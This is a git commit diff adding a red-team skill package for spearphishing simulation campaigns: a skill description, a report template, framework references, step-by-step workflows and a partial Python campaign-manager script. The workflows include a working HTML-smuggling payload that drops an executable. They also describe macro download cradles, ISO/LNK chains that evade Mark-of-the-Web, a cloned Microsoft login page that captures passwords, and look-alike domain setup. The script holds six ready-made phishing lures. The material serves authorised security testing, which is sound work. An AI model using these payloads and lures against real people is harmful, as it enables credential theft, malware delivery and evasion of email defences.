Initial commit - 611 cybersecurity skills across all subdomains

This commit is contained in:
mukul975
2026-02-25 10:47:44 +01:00
commit 22a7ab1462
1765 changed files with 280648 additions and 0 deletions
@@ -0,0 +1,100 @@
---
name: conducting-spearphishing-simulation-campaign
description: Spearphishing simulation is a targeted social engineering attack vector used by red teams to gain initial access. Unlike broad phishing campaigns, spearphishing uses OSINT-derived intelligence to craf
domain: cybersecurity
subdomain: red-teaming
tags: [red-team, adversary-simulation, mitre-attack, exploitation, post-exploitation, spearphishing, social-engineering]
version: "1.0"
author: mahipal
license: MIT
---
# Conducting Spearphishing Simulation Campaign
## Overview
Spearphishing simulation is a targeted social engineering attack vector used by red teams to gain initial access. Unlike broad phishing campaigns, spearphishing uses OSINT-derived intelligence to craft highly personalized messages targeting specific individuals. This skill covers developing pretexts, building payloads, setting up email infrastructure, executing the campaign, and tracking results.
## Objectives
- Develop convincing pretexts tailored to specific target personnel
- Create weaponized payloads that bypass email security controls
- Set up email delivery infrastructure with proper SPF/DKIM/DMARC configuration
- Execute phishing campaigns with real-time tracking and metrics
- Document results for engagement reporting and security awareness improvement
## MITRE ATT&CK Mapping
- **T1566.001** - Phishing: Spearphishing Attachment
- **T1566.002** - Phishing: Spearphishing Link
- **T1566.003** - Phishing: Spearphishing via Service
- **T1598.003** - Phishing for Information: Spearphishing Link
- **T1204.001** - User Execution: Malicious Link
- **T1204.002** - User Execution: Malicious File
- **T1608.001** - Stage Capabilities: Upload Malware
- **T1608.005** - Stage Capabilities: Link Target
- **T1583.001** - Acquire Infrastructure: Domains
- **T1585.002** - Establish Accounts: Email Accounts
## Implementation Steps
### Phase 1: Pretext Development
1. Review OSINT findings for target personnel profiles
2. Identify current organizational events (mergers, projects, new hires)
3. Select pretext theme (IT helpdesk, HR benefits, vendor communication, executive request)
4. Craft email templates with appropriate urgency and authority cues
5. Create landing pages that mirror target organization's branding
### Phase 2: Payload Development
1. Select payload type based on target security controls:
- HTML smuggling for email gateway bypass
- Macro-enabled documents (if macros not blocked)
- ISO/IMG files containing LNK payloads
- OneNote files with embedded scripts
- QR codes linking to credential harvesting pages
2. Test payload against target's known security stack
3. Implement payload obfuscation techniques
4. Configure callback to C2 infrastructure
### Phase 3: Infrastructure Setup
1. Register convincing look-alike domain
2. Age domain and build reputation (minimum 2 weeks recommended)
3. Configure SPF, DKIM, and DMARC records
4. Set up SMTP relay with GoPhish or custom mail server
5. Deploy credential harvesting pages with SSL certificates
6. Configure tracking pixels and click tracking
### Phase 4: Campaign Execution
1. Send test emails to verify delivery and rendering
2. Launch campaign in waves (avoid mass sending)
3. Monitor email delivery rates and opens in real-time
4. Track link clicks and credential submissions
5. Deploy payloads to users who interact with phishing emails
6. Capture screenshots and evidence for reporting
### Phase 5: Post-Campaign Analysis
1. Calculate campaign metrics (delivery rate, open rate, click rate, credential capture rate)
2. Identify users who reported phishing to SOC
3. Document bypass of email security controls
4. Map successful compromises to MITRE ATT&CK
5. Compile findings for engagement report
## Tools and Resources
| Tool | Purpose | License |
|------|---------|---------|
| GoPhish | Phishing campaign management | Open Source |
| Evilginx2 | Real-time credential harvesting with MFA bypass | Open Source |
| King Phisher | Phishing campaign toolkit | Open Source |
| SET (Social Engineering Toolkit) | Multi-vector social engineering | Open Source |
| Modlishka | Reverse proxy phishing | Open Source |
| CredSniper | Credential harvesting framework | Open Source |
| Fierce Phish | Phishing framework | Open Source |
## Validation Criteria
- [ ] Pretext tailored to specific targets with OSINT data
- [ ] Payload tested against email security controls
- [ ] Infrastructure configured with proper email authentication
- [ ] Campaign tracked with delivery and interaction metrics
- [ ] Evidence collected for engagement report
- [ ] Cleanup performed on infrastructure post-campaign
@@ -0,0 +1,173 @@
# Spearphishing Campaign Report Template
## Document Control
| Field | Value |
|-------|-------|
| Campaign ID | [ID] |
| Engagement ID | [ENGAGEMENT_ID] |
| Target Organization | [NAME] |
| Campaign Date | [START] - [END] |
| Red Team Lead | [NAME] |
| Classification | CONFIDENTIAL |
---
## 1. Executive Summary
[Overview of campaign objectives, methodology, and key findings]
**Bottom Line:** [X]% of targeted users clicked the phishing link, and [Y]% submitted credentials, demonstrating [assessment of organizational risk].
---
## 2. Campaign Details
### 2.1 Pretext
- **Theme:** [Password expiry / Shared document / HR benefits / etc.]
- **Authority Figure:** [IT Security / HR / Executive / Vendor]
- **Urgency Level:** [High / Medium / Low]
- **Personalization Level:** [Name, role, department, etc.]
### 2.2 Infrastructure
| Component | Details |
|-----------|---------|
| Sending Domain | [DOMAIN] |
| Domain Age | [DAYS] days |
| SPF/DKIM/DMARC | [Configured / Partial / None] |
| Landing Page URL | [URL] |
| SSL Certificate | [Let's Encrypt / Self-signed] |
### 2.3 Payload
- **Type:** [Link / Attachment / QR Code]
- **Payload:** [Credential harvester / HTML smuggling / Macro document]
- **C2 Callback:** [C2 DOMAIN/IP]
---
## 3. Target Summary
| Department | Targets | Clicked | Submitted | Reported |
|-----------|---------|---------|-----------|----------|
| | | | | |
| **Total** | | | | |
---
## 4. Campaign Metrics
| Metric | Value | Industry Benchmark |
|--------|-------|--------------------|
| Delivery Rate | % | 95%+ |
| Open Rate | % | 30-40% |
| Click-Through Rate | % | 10-15% |
| Credential Capture Rate | % | 5-10% |
| Phishing Report Rate | % | 20-30% |
| Time to First Click | min | <5 min typical |
| Time to First Report | min | <30 min ideal |
---
## 5. Timeline of Events
| Time (UTC) | Event | User | Details |
|-----------|-------|------|---------|
| | Campaign launched | N/A | Wave 1 sent |
| | First email opened | [USER] | Tracking pixel loaded |
| | First link click | [USER] | Landing page accessed |
| | First credential submission | [USER] | Credentials captured |
| | First SOC report | [USER] | Phishing reported |
| | Campaign concluded | N/A | All waves completed |
---
## 6. Security Control Assessment
### 6.1 Email Security Gateway
| Control | Status | Notes |
|---------|--------|-------|
| SPF Validation | Passed/Blocked | |
| DKIM Validation | Passed/Blocked | |
| DMARC Enforcement | Passed/Blocked | |
| URL Rewriting | Active/Bypassed | |
| Attachment Scanning | Active/Bypassed | |
| Sandboxing | Active/Bypassed | |
### 6.2 Endpoint Protection
| Control | Status | Notes |
|---------|--------|-------|
| Browser URL Filtering | Blocked/Bypassed | |
| EDR Detection | Detected/Missed | |
| Credential Guard | Active/Bypassed | |
### 6.3 User Awareness
| Indicator | Assessment |
|-----------|-----------|
| Recognition of phishing indicators | Low/Medium/High |
| Use of phishing report button | Low/Medium/High |
| Resistance to urgency pressure | Low/Medium/High |
| Verification of sender identity | Low/Medium/High |
---
## 7. Risk Assessment
### 7.1 Impact Analysis
If this were a real attack:
- **[X] credentials** would provide initial access to corporate systems
- **[Y] users** would have unknowingly executed malicious payloads
- **Estimated dwell time** before detection: [Z hours/days]
### 7.2 Risk Rating
**Overall Risk: [CRITICAL/HIGH/MEDIUM/LOW]**
---
## 8. Recommendations
### Immediate (0-30 days)
1. [Recommendation]
2. [Recommendation]
### Short-Term (30-90 days)
1. [Recommendation]
2. [Recommendation]
### Long-Term (90+ days)
1. [Recommendation]
2. [Recommendation]
---
## 9. MITRE ATT&CK Mapping
| Technique ID | Name | Status |
|-------------|------|--------|
| T1566.002 | Spearphishing Link | Successful/Blocked |
| T1204.001 | User Execution: Malicious Link | Successful/Blocked |
| T1078 | Valid Accounts | Credentials Captured/None |
---
## Appendix A: Email Template Used
[Include screenshot or text of phishing email]
## Appendix B: Landing Page Screenshot
[Include screenshot of credential harvesting page]
## Appendix C: Users Who Clicked (Redacted)
| # | Department | Role Level | Action Taken |
|---|-----------|------------|-------------|
| 1 | | | Clicked/Submitted/Both |
## Appendix D: IOCs for Blue Team
| Type | Value | Description |
|------|-------|-------------|
| Domain | | Phishing domain |
| IP | | Infrastructure IP |
| URL | | Landing page URL |
| Email | | Sender address |
@@ -0,0 +1,75 @@
# Standards and Framework References
## MITRE ATT&CK - Initial Access (TA0001)
| Technique ID | Name | Sub-technique |
|-------------|------|---------------|
| T1566.001 | Spearphishing Attachment | Malicious files delivered via email |
| T1566.002 | Spearphishing Link | URLs in emails directing to malicious content |
| T1566.003 | Spearphishing via Service | Phishing through third-party services |
| T1598.001 | Phishing for Information: Spearphishing Service | Info gathering via services |
| T1598.002 | Phishing for Information: Spearphishing Attachment | Credential harvesting attachments |
| T1598.003 | Phishing for Information: Spearphishing Link | Credential harvesting links |
## MITRE ATT&CK - Execution (TA0002)
| Technique ID | Name | Description |
|-------------|------|-------------|
| T1204.001 | User Execution: Malicious Link | User clicks phishing link |
| T1204.002 | User Execution: Malicious File | User opens malicious attachment |
## MITRE ATT&CK - Resource Development (TA0042)
| Technique ID | Name | Description |
|-------------|------|-------------|
| T1583.001 | Acquire Infrastructure: Domains | Register phishing domains |
| T1583.006 | Acquire Infrastructure: Web Services | Use web services for phishing |
| T1585.001 | Establish Accounts: Social Media | Create fake social media profiles |
| T1585.002 | Establish Accounts: Email Accounts | Create email accounts for sending |
| T1608.001 | Stage Capabilities: Upload Malware | Host payloads for download |
| T1608.005 | Stage Capabilities: Link Target | Prepare phishing URLs |
## PTES - Social Engineering
### Pre-text Creation
- Research-based pretext development
- Authority, urgency, and scarcity principles
- Robert Cialdini's principles of influence
- Corporate communication mimicry
### Attack Vectors
- Email-based spearphishing
- Voice phishing (vishing) support calls
- SMS phishing (smishing)
- Social media-based pretexting
## NIST SP 800-177 - Trustworthy Email
### Email Authentication Protocols
- SPF (Sender Policy Framework)
- DKIM (DomainKeys Identified Mail)
- DMARC (Domain-based Message Authentication)
### Email Security Controls
- Email gateway filtering
- URL rewriting and sandboxing
- Attachment analysis
- Domain reputation scoring
## CIS Controls v8
### Control 14: Security Awareness and Skills Training
- 14.1: Establish and Maintain a Security Awareness Program
- 14.2: Train Workforce Members to Recognize Social Engineering Attacks
- 14.3: Train Workforce Members on Authentication Best Practices
## Email Security Bypass Techniques Reference
| Technique | Bypasses | Risk Level |
|-----------|----------|------------|
| HTML Smuggling | Email attachment scanning | High |
| Domain Age/Reputation | New domain blocking | Medium |
| Legitimate Service Abuse | Domain reputation filters | High |
| SPF/DKIM/DMARC Alignment | Email authentication checks | Medium |
| File Format Alternatives | Attachment type blocking | Medium |
| QR Code Phishing | URL analysis engines | High |
@@ -0,0 +1,238 @@
# Spearphishing Simulation Campaign Workflows
## Workflow 1: GoPhish Campaign Setup
### Step 1: Install and Configure GoPhish
```bash
# Download GoPhish
wget https://github.com/gophish/gophish/releases/latest/download/gophish-v0.12.1-linux-64bit.zip
unzip gophish-v0.12.1-linux-64bit.zip -d /opt/gophish
cd /opt/gophish
# Generate SSL certificate for admin panel
openssl req -newkey rsa:2048 -nodes -keyout gophish.key -x509 -days 365 -out gophish.crt
# Edit config.json
# Set admin_server listen_url to 0.0.0.0:3333
# Set phish_server listen_url to 0.0.0.0:443
# Start GoPhish
./gophish
```
### Step 2: Configure Sending Profile
```
Name: Red Team SMTP
SMTP From: it-support@targetcorp-helpdesk.com
Host: mail.phishing-infra.com:587
Username: operator@phishing-infra.com
Password: [SECURE_PASSWORD]
Ignore Certificate Errors: No
Headers:
X-Mailer: Microsoft Outlook 16.0
Reply-To: it-support@targetcorp-helpdesk.com
```
### Step 3: Create Email Template
```html
Subject: [ACTION REQUIRED] Password Expiry Notice - {{.FirstName}}
Dear {{.FirstName}} {{.LastName}},
Your corporate password will expire in 24 hours. To maintain
access to company resources, please update your password
immediately using our secure portal.
<a href="{{.URL}}">Update Password Now</a>
This is an automated message from IT Security.
Please complete this action before {{.BaseRecipient}} loses access.
Best regards,
IT Security Team
{{.Tracker}}
```
### Step 4: Create Landing Page
```
Import Site: https://login.microsoftonline.com
Capture Submitted Data: Yes
Capture Passwords: Yes
Redirect To: https://portal.office.com (after credential capture)
```
### Step 5: Configure Target Group
```
Import from CSV:
First Name, Last Name, Email, Position
John,Smith,john.smith@targetcorp.com,IT Manager
Jane,Doe,jane.doe@targetcorp.com,HR Director
```
### Step 6: Launch Campaign
```
Name: RT-2024-001 Password Expiry
Email Template: Password Expiry Notice
Landing Page: O365 Login Clone
Sending Profile: Red Team SMTP
Groups: Target Group Alpha
Launch Date: [SCHEDULED_DATE]
Send Emails By: [STAGGER_OVER_4_HOURS]
```
## Workflow 2: Infrastructure Preparation
### Step 1: Domain Selection and Registration
```bash
# Research similar-looking domains (typosquatting)
# targetcorp.com -> targetcorp-it.com, targetc0rp.com, targetcorp.co
# Domain categorization check
# Use tools like Bluecoat/Symantec Site Review to check categorization
# Uncategorized domains may be blocked
# Register domain through privacy-protected registrar
# Age domain for minimum 2 weeks before use
```
### Step 2: Email Authentication Setup
```bash
# SPF Record
# Type: TXT
# Host: @
# Value: v=spf1 ip4:<MAIL_SERVER_IP> include:_spf.google.com ~all
# DKIM Setup
opendkim-genkey -s default -d phishing-domain.com
# Add TXT record: default._domainkey.phishing-domain.com
# Value: v=DKIM1; k=rsa; p=<PUBLIC_KEY>
# DMARC Record
# Type: TXT
# Host: _dmarc
# Value: v=DMARC1; p=none; rsp=100; adkim=s; aspf=s
```
### Step 3: SSL Certificate Setup
```bash
# Using Let's Encrypt for legitimate SSL
certbot certonly --standalone -d phishing-domain.com
certbot certonly --standalone -d login.phishing-domain.com
# Configure certificates in GoPhish/web server
```
## Workflow 3: Payload Development
### HTML Smuggling Payload
```html
<!-- HTML Smuggling - bypasses email gateway scanning -->
<html>
<body>
<script>
// Base64 encoded payload
var payload = "TVqQAAMAAAAEAAAA..."; // Encoded executable
var binary = atob(payload);
var array = new Uint8Array(binary.length);
for (var i = 0; i < binary.length; i++) {
array[i] = binary.charCodeAt(i);
}
var blob = new Blob([array], {type: "application/octet-stream"});
var link = document.createElement("a");
link.href = URL.createObjectURL(blob);
link.download = "Update_Required.exe";
link.click();
</script>
<p>Your document is downloading. If the download does not start,
<a href="#" id="manual-download">click here</a>.</p>
</body>
</html>
```
### Macro-Enabled Document Workflow
```
1. Create legitimate-looking document template
2. Add VBA macro for payload execution:
- AutoOpen() or Document_Open() trigger
- Download cradle using PowerShell or certutil
- Execute payload from %TEMP% directory
3. Test against target's known AV/EDR solution
4. Obfuscate macro code to bypass static analysis
```
### ISO/LNK Payload Chain
```
1. Create ISO file containing:
- Legitimate-looking LNK shortcut
- Hidden DLL or executable payload
- Decoy document for user satisfaction
2. LNK file executes hidden payload via:
- rundll32.exe to load DLL
- mshta.exe to execute HTA
- PowerShell download cradle
3. ISO bypasses Mark-of-the-Web (MotW) on older Windows
```
## Workflow 4: Campaign Execution and Monitoring
### Pre-Launch Checklist
```
- [ ] Domain aged and categorized
- [ ] SPF/DKIM/DMARC configured
- [ ] SSL certificates installed
- [ ] Email templates tested for rendering
- [ ] Landing pages functional and capturing data
- [ ] Payload tested against target's security stack
- [ ] C2 callback verified
- [ ] Tracking pixels loading correctly
- [ ] Target list finalized and imported
- [ ] Campaign schedule confirmed with engagement lead
```
### Launch Procedure
```
1. Send initial test email to red team operator
2. Verify delivery, rendering, and link tracking
3. Launch Wave 1: High-priority targets (5-10 users)
4. Monitor for 1 hour - check delivery and open rates
5. Verify no immediate blocks or quarantine
6. Launch Wave 2: Remaining targets (staggered over 2-4 hours)
7. Monitor dashboard continuously for first 4 hours
8. Check for credential captures and payload executions
9. Document all interactions with timestamps
```
### Real-Time Monitoring
```
Track and document:
- Email delivery success/failure rates
- Email open rates (tracking pixel)
- Link click rates
- Credential submission events
- Payload download events
- Callback/beacon events
- User reports to SOC
- Time between delivery and interaction
```
## Workflow 5: Post-Campaign Reporting
### Metrics Calculation
```
Delivery Rate = (Emails Delivered / Emails Sent) x 100
Open Rate = (Unique Opens / Emails Delivered) x 100
Click Rate = (Unique Clicks / Emails Delivered) x 100
Credential Capture Rate = (Credentials Captured / Emails Delivered) x 100
Payload Execution Rate = (Payloads Executed / Emails Delivered) x 100
Report Rate = (Users Who Reported / Emails Delivered) x 100
```
### Evidence Collection
```
For each successful interaction:
1. Screenshot of GoPhish dashboard showing the event
2. Captured credentials (hash, not plaintext in report)
3. C2 beacon screenshot showing initial callback
4. Timeline of events from delivery to compromise
5. Email headers showing delivery path
```
@@ -0,0 +1,591 @@
#!/usr/bin/env python3
"""
Spearphishing Simulation Campaign Manager
Automates phishing campaign preparation including:
- Email template generation with personalization
- Domain reputation checking
- Email authentication validation (SPF/DKIM/DMARC)
- Campaign metrics analysis
- Phishing report generation
Usage:
python process.py --mode setup --domain phishing-domain.com
python process.py --mode template --pretext password-expiry --targets targets.csv
python process.py --mode validate --domain phishing-domain.com
python process.py --mode report --campaign-data results.json
Requirements:
pip install requests dnspython rich jinja2
"""
import argparse
import csv
import json
import sys
from datetime import datetime
from pathlib import Path
from typing import Any
try:
import dns.resolver
import requests
from rich.console import Console
from rich.table import Table
from rich.panel import Panel
except ImportError:
print("[!] Missing dependencies. Install with: pip install requests dnspython rich")
sys.exit(1)
console = Console()
# Spearphishing pretext templates
PRETEXT_TEMPLATES = {
"password-expiry": {
"subject": "[ACTION REQUIRED] Password Expiry Notice - {first_name}",
"body": """Dear {first_name} {last_name},
Your corporate password will expire in 24 hours. To maintain uninterrupted
access to company resources, please update your password immediately
using our secure self-service portal.
Update Password: {phishing_url}
If you have already updated your password, please disregard this message.
This is an automated message from the IT Security Team.
Do not reply to this email.
Best regards,
IT Security Team
{company_name}
{tracking_pixel}""",
"urgency": "high",
"authority": "IT Security",
},
"shared-document": {
"subject": "{sender_name} shared a document with you: Q4 Financial Review",
"body": """{first_name},
{sender_name} has shared a document with you via our secure file sharing platform.
Document: Q4 Financial Review - {company_name}
Shared by: {sender_name} ({sender_title})
Access expires: 48 hours
View Document: {phishing_url}
You are receiving this because {sender_name} included you in the
document sharing list. If you believe this was sent in error,
please contact {sender_name} directly.
Powered by SecureShare
{company_name} Document Management
{tracking_pixel}""",
"urgency": "medium",
"authority": "Colleague",
},
"hr-benefits": {
"subject": "Important: Open Enrollment Benefits Update - Action Required",
"body": """Dear {first_name},
As part of our annual benefits enrollment period, we are pleased to announce
updated benefits packages for all employees. Please review and confirm your
selections before the enrollment deadline.
Key updates include:
- Enhanced health coverage options
- New wellness program benefits
- Updated 401(k) matching contributions
Review Your Benefits: {phishing_url}
Deadline: {deadline_date}
If you have questions about your benefits options, please contact
the HR Benefits team.
Warm regards,
Human Resources Department
{company_name}
{tracking_pixel}""",
"urgency": "medium",
"authority": "HR Department",
},
"mfa-enrollment": {
"subject": "Security Update: Multi-Factor Authentication Enrollment Required",
"body": """Hello {first_name},
As part of our ongoing security improvements, all employees are required
to enroll in our new Multi-Factor Authentication (MFA) system by {deadline_date}.
This upgrade is mandatory and will help protect your account and
company data from unauthorized access.
Enroll Now: {phishing_url}
What you will need:
- Your current corporate credentials
- Your mobile phone for authenticator setup
Employees who do not complete enrollment by the deadline may experience
temporary access disruptions.
Thank you for your cooperation in keeping {company_name} secure.
IT Security Operations
{company_name}
{tracking_pixel}""",
"urgency": "high",
"authority": "IT Security",
},
"invoice-payment": {
"subject": "Invoice #{invoice_number} - Payment Confirmation Required",
"body": """Dear {first_name},
Please find attached the invoice for services rendered. We kindly request
your review and payment confirmation at your earliest convenience.
Invoice Number: #{invoice_number}
Amount Due: ${amount}
Due Date: {deadline_date}
View Invoice: {phishing_url}
If you have any questions regarding this invoice, please do not hesitate
to contact our accounts department.
Best regards,
{sender_name}
Accounts Receivable
{vendor_name}
{tracking_pixel}""",
"urgency": "high",
"authority": "Vendor",
},
"voicemail": {
"subject": "You have a new voicemail from {sender_name} ({phone_number})",
"body": """You received a voicemail
From: {sender_name}
Number: {phone_number}
Duration: 0:47
Date: {current_date}
Play Voicemail: {phishing_url}
This message was sent from your corporate voice messaging system.
{tracking_pixel}""",
"urgency": "low",
"authority": "System",
},
}
def validate_email_authentication(domain: str) -> dict:
"""Validate SPF, DKIM, and DMARC configuration for a domain."""
results = {
"spf": {"configured": False, "record": None, "issues": []},
"dkim": {"configured": False, "record": None, "issues": []},
"dmarc": {"configured": False, "record": None, "issues": []},
}
# Check SPF
try:
answers = dns.resolver.resolve(domain, "TXT")
for rdata in answers:
txt = str(rdata).strip('"')
if txt.startswith("v=spf1"):
results["spf"]["configured"] = True
results["spf"]["record"] = txt
if "~all" in txt:
results["spf"]["issues"].append("Soft fail (~all) - consider using -all")
elif "+all" in txt:
results["spf"]["issues"].append("WARNING: +all allows any sender")
elif "-all" in txt:
results["spf"]["issues"].append("Hard fail (-all) - strict configuration")
if txt.count("include:") > 10:
results["spf"]["issues"].append("Too many includes - may exceed DNS lookup limit")
except Exception as e:
results["spf"]["issues"].append(f"DNS query failed: {e}")
# Check DKIM (common selectors)
dkim_selectors = ["default", "google", "selector1", "selector2", "k1", "mail", "dkim"]
for selector in dkim_selectors:
try:
answers = dns.resolver.resolve(f"{selector}._domainkey.{domain}", "TXT")
for rdata in answers:
txt = str(rdata).strip('"')
if "v=DKIM1" in txt or "k=rsa" in txt:
results["dkim"]["configured"] = True
results["dkim"]["record"] = f"Selector: {selector} - {txt[:100]}..."
break
except Exception:
pass
if results["dkim"]["configured"]:
break
if not results["dkim"]["configured"]:
results["dkim"]["issues"].append("No DKIM record found for common selectors")
# Check DMARC
try:
answers = dns.resolver.resolve(f"_dmarc.{domain}", "TXT")
for rdata in answers:
txt = str(rdata).strip('"')
if txt.startswith("v=DMARC1"):
results["dmarc"]["configured"] = True
results["dmarc"]["record"] = txt
if "p=none" in txt:
results["dmarc"]["issues"].append("Policy is 'none' - no enforcement")
elif "p=quarantine" in txt:
results["dmarc"]["issues"].append("Policy is 'quarantine' - moderate enforcement")
elif "p=reject" in txt:
results["dmarc"]["issues"].append("Policy is 'reject' - strict enforcement")
except Exception as e:
results["dmarc"]["issues"].append(f"No DMARC record found: {e}")
return results
def generate_email_template(
pretext: str,
targets_file: str,
company_name: str = "Target Corp",
phishing_url: str = "https://login.example.com",
output_dir: str = "./templates",
) -> list[dict]:
"""Generate personalized email templates for each target."""
if pretext not in PRETEXT_TEMPLATES:
console.print(f"[red][-] Unknown pretext: {pretext}[/red]")
console.print(f"[yellow]Available: {', '.join(PRETEXT_TEMPLATES.keys())}[/yellow]")
return []
template = PRETEXT_TEMPLATES[pretext]
out_path = Path(output_dir)
out_path.mkdir(parents=True, exist_ok=True)
emails = []
try:
with open(targets_file, "r") as f:
reader = csv.DictReader(f)
for row in reader:
from datetime import timedelta
personalized = {
"to": row.get("email", row.get("Email", "")),
"subject": template["subject"].format(
first_name=row.get("first_name", row.get("First Name", "User")),
sender_name="Michael Thompson",
invoice_number="INV-2024-4821",
),
"body": template["body"].format(
first_name=row.get("first_name", row.get("First Name", "User")),
last_name=row.get("last_name", row.get("Last Name", "")),
company_name=company_name,
phishing_url=phishing_url,
sender_name="Michael Thompson",
sender_title="VP of Finance",
deadline_date=(datetime.now() + timedelta(days=3)).strftime("%B %d, %Y"),
current_date=datetime.now().strftime("%B %d, %Y %I:%M %p"),
invoice_number="INV-2024-4821",
amount="4,750.00",
vendor_name="Apex Business Solutions",
phone_number="+1 (555) 867-5309",
tracking_pixel='<img src="{tracking_url}" width="1" height="1" />',
),
"urgency": template["urgency"],
"authority": template["authority"],
}
emails.append(personalized)
except FileNotFoundError:
console.print(f"[red][-] Targets file not found: {targets_file}[/red]")
return []
except Exception as e:
console.print(f"[red][-] Error processing targets: {e}[/red]")
return []
# Save generated emails
emails_path = out_path / f"campaign_emails_{pretext}.json"
with open(emails_path, "w") as f:
json.dump(emails, f, indent=2)
console.print(f"[green][+] Generated {len(emails)} personalized emails[/green]")
console.print(f"[green][+] Saved to: {emails_path}[/green]")
return emails
def check_domain_reputation(domain: str) -> dict:
"""Check domain reputation and categorization status."""
results = {
"domain": domain,
"checks": {},
}
# Check if domain resolves
try:
import socket
ip = socket.gethostbyname(domain)
results["resolves_to"] = ip
except Exception:
results["resolves_to"] = "DOES NOT RESOLVE"
# Check Google Safe Browsing (requires API key)
results["checks"]["google_safe_browsing"] = "Manual check required: https://transparencyreport.google.com/safe-browsing/search"
# Check VirusTotal
results["checks"]["virustotal"] = f"Manual check required: https://www.virustotal.com/gui/domain/{domain}"
# Check domain age via WHOIS
try:
import whois as python_whois
w = python_whois.whois(domain)
if w.creation_date:
creation = w.creation_date
if isinstance(creation, list):
creation = creation[0]
age_days = (datetime.now() - creation).days
results["domain_age_days"] = age_days
if age_days < 14:
results["domain_age_warning"] = "Domain is less than 14 days old - high risk of being blocked"
elif age_days < 30:
results["domain_age_warning"] = "Domain is less than 30 days old - moderate risk"
else:
results["domain_age_warning"] = "Domain age is acceptable"
except Exception:
results["domain_age_days"] = "Unable to determine"
# Check categorization services
results["checks"]["bluecoat"] = "Manual check: https://sitereview.bluecoat.com/"
results["checks"]["fortiguard"] = "Manual check: https://www.fortiguard.com/webfilter"
results["checks"]["paloalto"] = "Manual check: https://urlfiltering.paloaltonetworks.com/"
results["checks"]["mcafee"] = "Manual check: https://trustedsource.org/"
return results
def analyze_campaign_results(results_file: str, output_dir: str = "./reports") -> dict:
"""Analyze campaign results and generate metrics report."""
out_path = Path(output_dir)
out_path.mkdir(parents=True, exist_ok=True)
try:
with open(results_file, "r") as f:
data = json.load(f)
except Exception as e:
console.print(f"[red][-] Error loading results: {e}[/red]")
return {}
# Calculate metrics
total_sent = len(data.get("results", []))
delivered = sum(1 for r in data.get("results", []) if r.get("status") == "delivered")
opened = sum(1 for r in data.get("results", []) if r.get("opened", False))
clicked = sum(1 for r in data.get("results", []) if r.get("clicked", False))
submitted = sum(1 for r in data.get("results", []) if r.get("submitted_data", False))
reported = sum(1 for r in data.get("results", []) if r.get("reported", False))
metrics = {
"total_sent": total_sent,
"delivered": delivered,
"opened": opened,
"clicked": clicked,
"submitted_credentials": submitted,
"reported_phishing": reported,
"delivery_rate": (delivered / total_sent * 100) if total_sent > 0 else 0,
"open_rate": (opened / delivered * 100) if delivered > 0 else 0,
"click_rate": (clicked / delivered * 100) if delivered > 0 else 0,
"credential_capture_rate": (submitted / delivered * 100) if delivered > 0 else 0,
"report_rate": (reported / delivered * 100) if delivered > 0 else 0,
}
# Generate report
report = f"""# Spearphishing Campaign Results Report
## Campaign Overview
- **Campaign ID:** {data.get('campaign_id', 'N/A')}
- **Date:** {data.get('date', datetime.now().strftime('%Y-%m-%d'))}
- **Pretext:** {data.get('pretext', 'N/A')}
- **Target Count:** {total_sent}
## Metrics Summary
| Metric | Count | Rate |
|--------|-------|------|
| Emails Sent | {total_sent} | 100% |
| Delivered | {delivered} | {metrics['delivery_rate']:.1f}% |
| Opened | {opened} | {metrics['open_rate']:.1f}% |
| Clicked Link | {clicked} | {metrics['click_rate']:.1f}% |
| Submitted Credentials | {submitted} | {metrics['credential_capture_rate']:.1f}% |
| Reported to SOC | {reported} | {metrics['report_rate']:.1f}% |
## Risk Assessment
### Credential Compromise Risk
{"CRITICAL" if metrics['credential_capture_rate'] > 20 else "HIGH" if metrics['credential_capture_rate'] > 10 else "MEDIUM" if metrics['credential_capture_rate'] > 5 else "LOW"}
- {submitted} out of {delivered} users submitted credentials
- These credentials could be used for initial access in a real attack
### Security Awareness Gap
{"CRITICAL" if metrics['report_rate'] < 5 else "HIGH" if metrics['report_rate'] < 15 else "MEDIUM" if metrics['report_rate'] < 30 else "LOW"}
- Only {reported} out of {delivered} users reported the phishing email
- Industry benchmark for phishing report rate is 20-30%
## Recommendations
1. {"Mandatory security awareness training for all users who clicked" if clicked > 0 else "Continue current awareness program"}
2. {"Implement MFA to mitigate credential compromise risk" if submitted > 0 else "Current credential protections appear effective"}
3. {"Improve phishing report mechanisms - too few users reported" if metrics['report_rate'] < 15 else "Phishing reporting culture is adequate"}
4. Review email security gateway rules based on successful deliveries
5. Consider additional technical controls for identified bypass methods
## MITRE ATT&CK Mapping
| Technique | ID | Result |
|-----------|----|--------|
| Spearphishing Link | T1566.002 | {"Successful" if clicked > 0 else "Blocked"} |
| User Execution | T1204.001 | {"Successful" if clicked > 0 else "No interaction"} |
| Valid Accounts | T1078 | {"Credentials captured" if submitted > 0 else "No credentials captured"} |
"""
report_path = out_path / "phishing_campaign_report.md"
with open(report_path, "w") as f:
f.write(report)
console.print(f"[green][+] Campaign report saved to: {report_path}[/green]")
# Display summary table
table = Table(title="Campaign Metrics Summary")
table.add_column("Metric", style="cyan")
table.add_column("Count", style="yellow")
table.add_column("Rate", style="green")
table.add_row("Emails Sent", str(total_sent), "100%")
table.add_row("Delivered", str(delivered), f"{metrics['delivery_rate']:.1f}%")
table.add_row("Opened", str(opened), f"{metrics['open_rate']:.1f}%")
table.add_row("Clicked", str(clicked), f"{metrics['click_rate']:.1f}%")
table.add_row("Credentials Captured", str(submitted), f"{metrics['credential_capture_rate']:.1f}%")
table.add_row("Reported", str(reported), f"{metrics['report_rate']:.1f}%")
console.print(table)
return metrics
def main():
parser = argparse.ArgumentParser(
description="Spearphishing Simulation Campaign Manager"
)
parser.add_argument(
"--mode",
required=True,
choices=["setup", "template", "validate", "report", "list-pretexts", "check-domain"],
help="Operation mode",
)
parser.add_argument("--domain", help="Phishing domain to validate")
parser.add_argument("--pretext", help="Pretext template name")
parser.add_argument("--targets", help="Path to targets CSV file")
parser.add_argument("--company", default="Target Corp", help="Target company name")
parser.add_argument("--phishing-url", default="https://login.example.com", help="Phishing URL")
parser.add_argument("--campaign-data", help="Path to campaign results JSON")
parser.add_argument("--output", default="./output", help="Output directory")
args = parser.parse_args()
if args.mode == "list-pretexts":
table = Table(title="Available Pretext Templates")
table.add_column("Name", style="red bold")
table.add_column("Authority", style="yellow")
table.add_column("Urgency", style="cyan")
table.add_column("Subject Preview", style="green")
for name, template in PRETEXT_TEMPLATES.items():
table.add_row(
name,
template["authority"],
template["urgency"],
template["subject"][:50] + "...",
)
console.print(table)
elif args.mode == "validate":
if not args.domain:
console.print("[red][-] --domain required for validation mode[/red]")
return
console.print(f"[yellow][*] Validating email authentication for {args.domain}...[/yellow]")
